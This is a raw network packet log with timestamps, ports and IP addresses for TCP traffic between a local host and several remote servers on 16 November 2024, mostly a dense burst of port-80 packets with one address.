Nov 16, 2024 19:22:31.427655935 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.434012890 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.434704065 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.434721947 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.434811115 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.435178041 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.435183048 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.436749935 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.436836004 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.437146902 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.437163115 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.449022055 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.449479103 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.449513912 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.450184107 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.450197935 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.469516993 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.472846985 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.472858906 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.473367929 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.475384951 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.475467920 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.476080894 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.482397079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482450962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482451916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482481003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482520103 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482580900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482610941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482646942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482659101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482692957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482697964 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482723951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482737064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482757092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482758999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482789993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482799053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482824087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482826948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482852936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482866049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482882977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.482892036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.482918978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483099937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483184099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483211994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483225107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483244896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483249903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483275890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483288050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483325958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483380079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483428955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483439922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483479023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483490944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483541965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483546972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483584881 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483589888 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483629942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483669043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483710051 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483719110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483747959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483755112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483778954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483791113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483817101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483828068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483859062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483879089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483911991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.483952045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.483958960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484003067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484006882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484039068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484041929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484071970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484078884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484102964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484106064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484137058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484142065 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484169006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484174013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484205008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484208107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484232903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484239101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484265089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484270096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484297037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484306097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484325886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484335899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484375000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484416962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484424114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484488010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484530926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484555006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484582901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484631062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484637022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484663010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484690905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484704971 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484731913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484770060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484803915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484805107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484832048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484843016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484863043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484884024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484925032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.484935999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484963894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.484996080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485007048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485028982 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485057116 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485064983 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485105038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485106945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485153913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485172987 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485186100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485189915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485219002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485234022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485253096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485285044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485308886 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485316992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485321045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485354900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485363960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485395908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485424042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485443115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485465050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485471010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485517979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485557079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485580921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485650063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485675097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485697031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485702991 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485744953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485785961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485822916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485873938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485905886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.485917091 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485944033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.485955000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486004114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486044884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486052036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486078978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486110926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486119032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486144066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486157894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486175060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486183882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486207008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486222029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486232996 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486243010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486279964 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486284971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486332893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486377954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486381054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486428022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486474991 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486476898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486509085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486548901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486557007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486583948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486624956 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486630917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486676931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486710072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486737967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486776114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486789942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486829042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486839056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486876965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486898899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486939907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.486946106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486983061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.486984015 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487010956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487025023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487044096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487050056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487077951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487090111 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487106085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487138033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487144947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487170935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487176895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487199068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487209082 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487231970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487237930 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487263918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487271070 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487293005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487297058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487332106 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487341881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487374067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487381935 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487406015 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487411022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487437963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487448931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487466097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487484932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487497091 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487509966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487529993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487557888 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487580061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487588882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487597942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487622023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487627983 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487654924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487662077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487687111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487696886 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487720013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487724066 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487756968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487783909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487814903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487831116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487847090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487878084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487886906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487910986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.487915993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487948895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.487976074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488008976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488015890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488039970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488043070 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488073111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488105059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488112926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488137007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488141060 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488168001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488198996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488207102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488236904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488238096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488269091 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488276005 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488296986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488306046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488328934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488342047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488362074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488362074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488393068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488425016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488432884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488451958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488464117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488482952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488492012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488516092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488521099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488548040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488555908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488579988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488586903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488610983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488622904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488643885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488646030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488675117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488708019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488718987 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488739967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488744974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488773108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488780022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488786936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488801003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488804102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488817930 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488835096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488851070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488864899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488867998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488878965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488887072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488893032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488902092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488907099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488914013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488919020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488933086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488933086 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488948107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488955021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488961935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488976955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488982916 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.488991022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.488993883 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489018917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489023924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489032984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489048004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489063978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489069939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.489078999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489092112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.489099026 CET	49770	80	192.168.2.5	185.215.113.206
